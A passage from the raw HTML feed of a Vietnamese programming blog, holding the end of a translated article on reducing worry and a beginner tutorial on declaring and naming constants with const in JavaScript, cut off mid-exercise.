url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJ0lEQVQoz2WRz08TQRzF+8d5MJy9+Cd49EKiBoKUgyRgOCBSgwG1/EggChgKkQoklB+t9ICkhe5uZ3dmZ2dmZ6aznaHbWoViWowh4ZPv9eW973sJAACEEGNMKeWcSymVUlEUaa1ND611FEVCyqMySa6Ut/I2pxgA13GchOu6CKEgCBhjQgilVL1eN8Y0Go24hzGXWuvrlu4b3E70Le+cODIkwPWq1WrC8zzf9wkhYRhKKaMoMsbEcdzq0Ww2r353L7VDHw7nBmePIaaEBBBC13UTdzPXajWtddez2Wy3253O1c3NtRO2Xix7DwZ2+lP72ROXUhYEAULovlgZrVtx4/rPr5tOB4j23H74eOxgOF0cmMo8epl5PnNoe4RRAu+KCaE1KRqmHtUNUXHeqk1uWE9Th6MLhf6JteSn49SXwthSYWL5xEV3xLc/h4xWQLBd9DJ5kJzdG5ndG5rOjH/8PvI+m94ovF7MDU5vflg/evLqc8nBISUQIgBAt22IfMHDg2J56O3X5JuVZ+OLM0tbU4vZ0Xdr43Nb0/OZyflv6dXd9HouV7xglPi+73m9tgEAxClx7J2WKqmFzMJqdnM3f/Dj7LRU+Vm2gQfF7QQ6qteEkpyQf211d646jrKK2DornV9YF+eg6vgIEoIF53Hj0hitlBJShpxTxoKA+BhDCAEAtm0nbNt27Qp0AULIx34QEEIpYywMOedcCMF7MMYIIRjj/7aWZf0FsYEq+ZGG4osAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Loại bỏ lo lắng để thành công nhỏ mỗi ngày" title="Loại bỏ lo lắng để thành công nhỏ mỗi ngày" src="/static/4910639023a04cb6fbf27d83c0657cd5/7c811/small-success-everyday-loai-bo-lo-lang-completejavascript.com_.png" srcset="/static/4910639023a04cb6fbf27d83c0657cd5/103f2/small-success-everyday-loai-bo-lo-lang-completejavascript.com_.png 165w, /static/4910639023a04cb6fbf27d83c0657cd5/748ba/small-success-everyday-loai-bo-lo-lang-completejavascript.com_.png 330w, /static/4910639023a04cb6fbf27d83c0657cd5/7c811/small-success-everyday-loai-bo-lo-lang-completejavascript.com_.png 660w, /static/4910639023a04cb6fbf27d83c0657cd5/a27c6/small-success-everyday-loai-bo-lo-lang-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="dịch-chuyển-sự-tập-trung" style="position:relative;"><a href="#d%E1%BB%8Bch-chuy%E1%BB%83n-s%E1%BB%B1-t%E1%BA%ADp-trung" aria-label="dịch chuyển sự tập trung permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dịch chuyển sự tập trung</h2> <p>Một cách khác để giảm bớt sự lo lắng là dịch chuyển sự tập trung từ vấn đề dài hạn đến những hoạt động hằng ngày. Việc tập trung vào những vấn đề dài hạn, giống như nỗi sợ về việc dậy sớm, hay nỗi sợ về cái chết, nó chỉ gây ra những thứ không chắc chắn không cần thiết.</p> <p>Sau tất cả, không ai có thể dự đoán được tương lai. Thay vào đó, bạn nên tập trung vào những vấn đề rõ ràng trong những <a href="/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay/">hoạt động hàng ngày</a>, như việc nấu ăn cho bữa tối hay việc tưới nước cho cây.</p> <p>Bằng việc giải quyết những vấn đề nhỏ, bạn giảm thiểu những thứ không chắc chắn và giành được một chút hương vị của thành công, đem tới sự phấn khởi mà bạn cần mang theo trong cuộc sống.</p> <p>Đúng vậy, hầu hết chúng ta đều lo lắng, nhưng hãy làm mọi việc thật đơn giản. Trong lúc bạn vẫn gặp rắc rối vì lo lắng, hãy nhớ rằng bạn có toàn quyền kiểm soát cuộc sống của mình. Bạn có những sức mạnh để loại bỏ hoàn toàn sự lo lắng và có một cuộc sống không lo âu.</p> <p>Xin chào và hẹn gặp lại bạn ở bài tiếp theo, thân ái!</p> <p><em>(Bài viết được dịch từ Blog <a href="http://www.lifehack.org/539113/you-tend-overthink-and-worry-lot-this-what-you-should">Lifehack.org</a>)</em></p>[email protected]<![CDATA[Hằng là gì? Cơ bản về hằng trong JavaScript]]><![CDATA[Tương tự như biến, hằng cũng là một thành phần quan trọng trong lập trình JavaScript. Sau đây, mình sẽ tìm hiểu xem hằng là gì, cách khai báo hằng trong JavaScript, cách đặt tên…]]>https://completejavascript.com/hang-la-gi-hang-trong-javascript/https://completejavascript.com/hang-la-gi-hang-trong-javascript/<![CDATA[Hằng]]>Mon, 01 May 2017 20:00:00 GMT<p>Tương tự như <a href="/bien-la-gi-bien-trong-javascript/">biến</a>, hằng cũng là một thành phần quan trọng trong lập trình JavaScript. Sau đây, mình sẽ tìm hiểu xem hằng là gì, cách khai báo hằng trong JavaScript, cách đặt tên hằng. Đồng thời, mình so sánh sự khác nhau giữa hằng và biến trong JavaScript.</p> <h2 id="hằng-là-gì" style="position:relative;"><a href="#h%E1%BA%B1ng-l%C3%A0-g%C3%AC" aria-label="hằng là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hằng là gì?</h2> <p>Hằng là "tên biểu tượng" đại diện cho một giá trị không thay đổi trong chương trình.</p> <p><strong>Ví dụ</strong>: gọi PI là <a href="https://vi.wikipedia.org/wiki/Pi">số Pi</a> trong toán học, có giá trị không đổi là <strong>3.14159</strong>. Khi đó, PI gọi là hằng số.</p> <h2 id="cách-khai-báo-hằng-trong-javascript" style="position:relative;"><a href="#c%C3%A1ch-khai-b%C3%A1o-h%E1%BA%B1ng-trong-javascript" aria-label="cách khai báo hằng trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách khai báo hằng trong JavaScript</h2> <p>Để khai báo hằng trong JavaScript, bạn dùng từ khóa <strong>const</strong>, với cú pháp như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">const &lt;tên hằng> = &lt;giá trị của hằng>;</code></pre></div> <p>Ví dụ với số PI trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token constant">PI</span> <span class="token operator">=</span> <span class="token number">3.14159</span><span class="token punctuation">;</span></code></pre></div> <p>Để truy cập giá trị của hằng, bạn dùng trực tiếp tên của hằng:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token constant">PI</span> <span class="token operator">=</span> <span class="token number">3.14159</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">PI</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token comment">// Kết quả hiển trị trên console: 3.14159</span></span></code></pre></div> <p>Để khai báo nhiều hằng số, bạn có thể sử dụng dấy phẩy (<code>,</code>) để ngăn cách các hằng trên cùng một dòng:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">const PI = 3.141519, MAX_ITEM = 1000000000, MIN_ITEM = 0;</code></pre></div> <p>Hoặc bạn cũng có thể viết như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token constant">PI</span> <span class="token operator">=</span> <span class="token number">3.141519</span><span class="token punctuation">,</span> <span class="token constant">MAX_ITEM</span> <span class="token operator">=</span> <span class="token number">1000000000</span><span class="token punctuation">,</span> <span class="token constant">MIN_ITEM</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span></code></pre></div> <p>Hoặc viết với dấu phẩy trên đầu:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">const PI = 3.141519 , MAX_ITEM = 1000000000 , MIN_ITEM = 0;</code></pre></div> <p>Tuy nhiên, mình thấy việc khai báo mỗi hằng số trên một dòng là dễ nhìn hơn cả:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token constant">PI</span> <span class="token operator">=</span> <span class="token number">3.141519</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">MAX_ITEM</span> <span class="token operator">=</span> <span class="token number">1000000000</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">MIN_ITEM</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span></code></pre></div> <p>Về cơ bản, các cách trên là giống nhau. Tùy thuộc sở thích của bạn mà lựa chọn sao cho phù hợp.</p> <h2 id="quy-tắc-đặt-tên-hằng-trong-javascript" style="position:relative;"><a href="#quy-t%E1%BA%AFc-%C4%91%E1%BA%B7t-t%C3%AAn-h%E1%BA%B1ng-trong-javascript" aria-label="quy tắc đặt tên hằng trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Quy tắc đặt tên hằng trong JavaScript</h2> <p>Quy tắc đặt tên hằng trong JS cũng giống quy tắc đặt tên biến trong JavaScript. Sau đây, mình nhắc lại các quy tắc đặt tên cho bạn tiện theo dõi:</p> <ul> <li>Bắt đầu bằng chữ cái, dấu gạch dưới (<code>_</code>) hoặc kí tự "đô la" (<code>$</code>).</li> <li>Sau kí tự đầu tiên, ngoài những kí tự trên, bạn có thể sử dụng thêm số (0-9).</li> <li>Không sử dụng từ khoá và từ dự trữ.</li> </ul> <blockquote> <p>Từ khoá (<strong>keywords</strong>) là những từ mang ý nghĩa đặc biệt. Từ <strong>const</strong> là một từ khoá, với ý nghĩa là để khai báo hằng.</p> <p>Từ dự trữ (<strong>reserved words</strong>) là những từ sẽ được dùng làm từ khoá cho những phiên bản sau của JavaScript. Bạn không thể sử dụng từ khoá hay từ dự trữ để đặt tên cho hằng số.</p> <p>Danh sách những từ khoá và những từ dự trữ:</p> <p><em>break case catch class const continue debugger default delete do else enum export extends false finally for function if implements import in instanceof interface let new null package private protected public return static super switch this throw true try typeof var void while with yield</em></p> <p>Mỗi từ khoá và từ dự trữ mang một ý nghĩa khác nhau. Và mình sẽ giới thiệu chúng trong những bài viết sau.</p> </blockquote> <p>Ví dụ những tên hằng hợp lệ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> temp <span class="token operator">=</span> <span class="token number">1000</span><span class="token punctuation">;</span> <span class="token keyword">const</span> _result2 <span class="token operator">=</span> <span class="token number">99</span><span class="token punctuation">;</span> <span class="token keyword">const</span> $___$ <span class="token operator">=</span> <span class="token string">"hehehe"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">I_AM_STRONG</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token keyword">const</span> dientichhinhvuong <span class="token operator">=</span> <span class="token number">6996</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ những tên hằng không hợp lệ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> vertex<span class="token operator">%</span> <span class="token operator">=</span> <span class="token number">50</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng kí tự đặc biệt %</span> <span class="token keyword">const</span> 4me <span class="token operator">=</span> <span class="token string">'passion'</span><span class="token punctuation">;</span> <span class="token comment">// bắt đầu bằng số</span> <span class="token keyword">const</span> <span class="token keyword">while</span> <span class="token operator">=</span> <span class="token string">'coding'</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng từ khoá "while"</span></code></pre></div> <blockquote> <p>📝 Một số <strong>chú ý</strong> khi đặt tên hằng:</p> <p>Tên hằng trong JavaScript có phân biệt <strong>CHỮ HOA</strong> và <strong>chữ thường</strong>. Ví dụ hai tên <strong>pi</strong> và <strong>PI</strong> là hai hằng số khác nhau.</p> <p>Bạn có thể sử dụng những chữ cái không phải chữ cái Latinh để đặt tên hằng. Nhưng điều này là không nên. Bạn nên sử dụng chữ cái Latinh (a-z) để đặt tên hằng.</p> <p>Tốt nhất là đặt theo chuẩn tiếng Anh để mọi người trên thế giới có thể hiểu code của bạn.</p> </blockquote> <h2 id="chuẩn-hóa-cách-đặt-tên-hằng-số" style="position:relative;"><a href="#chu%E1%BA%A9n-h%C3%B3a-c%C3%A1ch-%C4%91%E1%BA%B7t-t%C3%AAn-h%E1%BA%B1ng-s%E1%BB%91" aria-label="chuẩn hóa cách đặt tên hằng số permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuẩn hóa cách đặt tên hằng số</h2> <p>Cũng lại tương tự như biến, bạn chỉ cần đặt tên hằng đúng theo quy tắc trên là đủ. Tuy nhiên, nếu nói về chuẩn hóa thì mình thấy có hai cách đặt tên hằng phổ biến như sau.</p> <p><strong>Cách 1: Đối với những hằng số biết trước khi lập trình</strong></p> <p>Ví dụ bạn cần lưu mã màu của một số màu thường dùng trong dự án:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token constant">COLOR_BLACK</span> <span class="token operator">=</span> <span class="token string">"#000000"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">COLOR_WHITE</span> <span class="token operator">=</span> <span class="token string">"#FFFFFF"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">COLOR_RED</span> <span class="token operator">=</span> <span class="token string">"#FF0000"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">COLOR_GREEN</span> <span class="token operator">=</span> <span class="token string">"#00FF00"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">COLOR_BLUE</span> <span class="token operator">=</span> <span class="token string">"#0000FF"</span><span class="token punctuation">;</span></code></pre></div> <p>Đối với những hằng số kiểu này, bạn <strong>VIẾT IN HOA</strong> toàn bộ các chữ cái và sử dụng dấu gạch dưới (<code>_</code>) để ngăn cách các từ cho dễ đọc.</p> <p><strong>Cách 2: Đối với những hằng số được sinh ra trong quá trình chạy</strong></p> <p>Ví dụ bạn cần lưu thời gian tải trang:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">const timeToLoadPage = /* Xử lý một số thứ để tính ra thời gian tải trang */</code></pre></div> <p>Rõ ràng bạn không thể biết <strong>chính xác</strong> thời gian tải trang lúc lập trình nên trang web. Vì thời gian tải trang chính xác phụ thuộc vào các yếu tố bên ngoài như: tốc độ mạng, khả năng xử lý của server,...</p> <p>Nhưng một khi trang web đã tải xong rồi thì giá trị này lại không thay đổi trong toàn bộ chương trình.</p> <p>Đối với những hằng số kiểu này, bạn sử dụng cách đặt tên theo <strong>camelCase</strong> (viết thường từ đầu tiên, và viết hoa chữ cái đầu của các từ tiếp theo).</p> <h2 id="lợi-ích-của-việc-sử-dụng-hằng-số" style="position:relative;"><a href="#l%E1%BB%A3i-%C3%ADch-c%E1%BB%A7a-vi%E1%BB%87c-s%E1%BB%AD-d%E1%BB%A5ng-h%E1%BA%B1ng-s%E1%BB%91" aria-label="lợi ích của việc sử dụng hằng số permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lợi ích của việc sử dụng hằng số</h2> <p>➤ Có thể nhiều bạn đặt câu hỏi: <strong>Tại sao có biến rồi lại còn sinh ra hằng làm gì?</strong></p> <p>Trong lập trình, luôn có những giá trị không bao giờ thay đổi trong toàn bộ chương trình.</p> <p>Nếu chỉ sử dụng biến thì rất có thể bạn hoặc đồng nghiệp sẽ vô tình thay đổi giá trị của biến. Điều này dẫn đến những lỗi sai mà không thể lường trước được.</p> <p>➤ Hoặc có bạn bảo rằng: <strong>Tại sao không sử dụng trực tiếp giá trị của hằng số luôn?</strong></p> <p>Trong ví dụ về màu trên, giả sử bạn không khai báo hằng <code>COLOR_BLACK</code> mà sử dụng trực tiếp <code>#000000</code>. Kiểu này trong lập trình gọi là <strong>hard-coded</strong>.</p> <p>Cách này <strong>thường không tốt</strong>.</p> <p>Nếu bạn sử dụng <code>#000000</code> ở một chỗ thì không sao. Nhưng nếu bạn dùng ở nhiều nơi và giả sử mình muốn thay đổi mã màu đen thành <code>#111111</code> thì mình phải tìm kiếm tất cả những chỗ sử dụng <code>#000000</code> để đổi thành <code>#111111</code>.</p> <p>Việc làm này rất dễ <strong>bỏ sót</strong> một vài chỗ, dẫn đến <a href="/debug-javascript-de-hay-kho/">bug</a> chương trình. Ngược lại, nếu mình sử dụng hằng <code>COLOR_BLACK</code> thì mình chỉ cần sửa đúng một chỗ.</p> <p>Ngoài ra, bạn có thể thấy:</p> <ul> <li>Việc đọc <code>COLOR_BLACK</code> dễ hơn <code>#000000</code> rất nhiều mà lại tránh nhầm lẫn.</li> <li>Thêm nữa <code>COLOR_BLACK</code> có ý nghĩa hơn <code>#000000</code>. Vì với <code>COLOR_BLACK</code>, bạn biết ngay đó là màu đen. Còn với <code>#000000</code>, bạn có thể không biết đó là màu gì trong lần đầu tiên tiếp xúc.</li> </ul> <h2 id="một-số-lỗi-với-hằng-trong-javascript" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-l%E1%BB%97i-v%E1%BB%9Bi-h%E1%BA%B1ng-trong-javascript" aria-label="một số lỗi với hằng trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số lỗi với hằng trong JavaScript</h2> <p>Khi sử dụng hằng trong JavaScript, bạn có thể mắc phải một số lỗi như sau.</p> <h3 id="không-gán-ngay-giá-trị-cho-hằng-khi-khởi-tạo" style="position:relative;"><a href="#kh%C3%B4ng-g%C3%A1n-ngay-gi%C3%A1-tr%E1%BB%8B-cho-h%E1%BA%B1ng-khi-kh%E1%BB%9Fi-t%E1%BA%A1o" aria-label="không gán ngay giá trị cho hằng khi khởi tạo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Không gán ngay giá trị cho hằng khi khởi tạo</h3> <p>Bạn có thể thấy sự khác biệt giữa hằng và biến trong việc khai báo.</p> <p>Đối với biến trong JS, bạn có thể khai báo biến trước rồi gán giá trị cho biến sau.</p> <p>Đối với hằng trong JS, bạn phải <strong>gán ngay giá trị</strong> cho hằng sau khi khai báo. Ngược lại, bạn sẽ bị lỗi:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token constant">PI</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token comment">// Uncaught SyntaxError: Missing initializer in const declaration</span></span></code></pre></div> <h3 id="thay-đổi-giá-trị-của-hằng" style="position:relative;"><a href="#thay-%C4%91%E1%BB%95i-gi%C3%A1-tr%E1%BB%8B-c%E1%BB%A7a-h%E1%BA%B1ng" aria-label="thay đổi giá trị của hằng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thay đổi giá trị của hằng</h3> <p>Hằng số không thể thay đổi giá trị trong toàn bộ chương trình. Việc bạn thay đổi giá trị của hằng sẽ dẫn đến lỗi như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token constant">PI</span> <span class="token operator">=</span> <span class="token number">3.14159</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token constant">PI</span> <span class="token operator">=</span> <span class="token number">100</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError: Assignment to constant variable.</span></span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Vậy hằng là gì?</p> <ul> <li>Hằng là "tên biểu tượng" đại diện cho một giá trị không thay đổi trong chương trình.</li> <li>Để khai báo hằng trong JavaScript, bạn dùng từ khóa <strong>const</strong> với cú pháp: <code>const &#x3C;tên hằng> = &#x3C;giá trị của hằng>;</code>.</li> <li>Với <strong>chú ý</strong> là: bạn bắt buộc phải gán giá trị cho hằng ngay khi khai báo.</li> <li>Quy tắc đặt tên hằng cũng giống như quy tắc đặt tên biến trong JavaScript: <ul> <li>Bắt đầu bằng chữ cái, dấu gạch dưới (<code>_</code>) hoặc kí tự "đô la" (<code>$</code>).</li> <li>Sau kí tự đầu tiên, ngoài những kí tự trên, bạn có thể sử dụng thêm số (0-9).</li> <li>Không sử dụng từ khoá và từ dự trữ.</li> </ul> </li> <li>Tên hằng phân biệt chữ hoa và thường</li> <li>Nên đặt tên hằng dễ nhìn, dễ đọc và thống nhất theo một chuẩn. <ul> <li>Với những hằng biết trước trong lúc lập trình: viết hoa các chữ cái và dùng dấu gạch dưới (<code>_</code>) để ngăn cách các từ (ví dụ <code>COLOR_BLACK</code>).</li> <li>Với những hằng sinh ra trong quá trình chạy: đặt tên theo <strong>camelCase</strong> (ví dụ <code>timeToLoadPage</code>).</li> </ul> </li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1-các-tên-hằng-sau-đúng-hay-sai" style="position:relative;"><a href="#b%C3%A0i-1-c%C3%A1c-t%C3%AAn-h%E1%BA%B1ng-sau-%C4%91%C3%BAng-hay-sai" aria-label="bài 1 các tên hằng sau đúng hay sai permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1: Các tên hằng sau đúng hay sai?</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> value <span class="token operator">=</span> <span class="token number">111</span><span class="token punctuation">;</span> <span class="token keyword">const</span> _ret100@ <span class="token operator">=</span> <span class="token string">"lalala"</span><span class="token 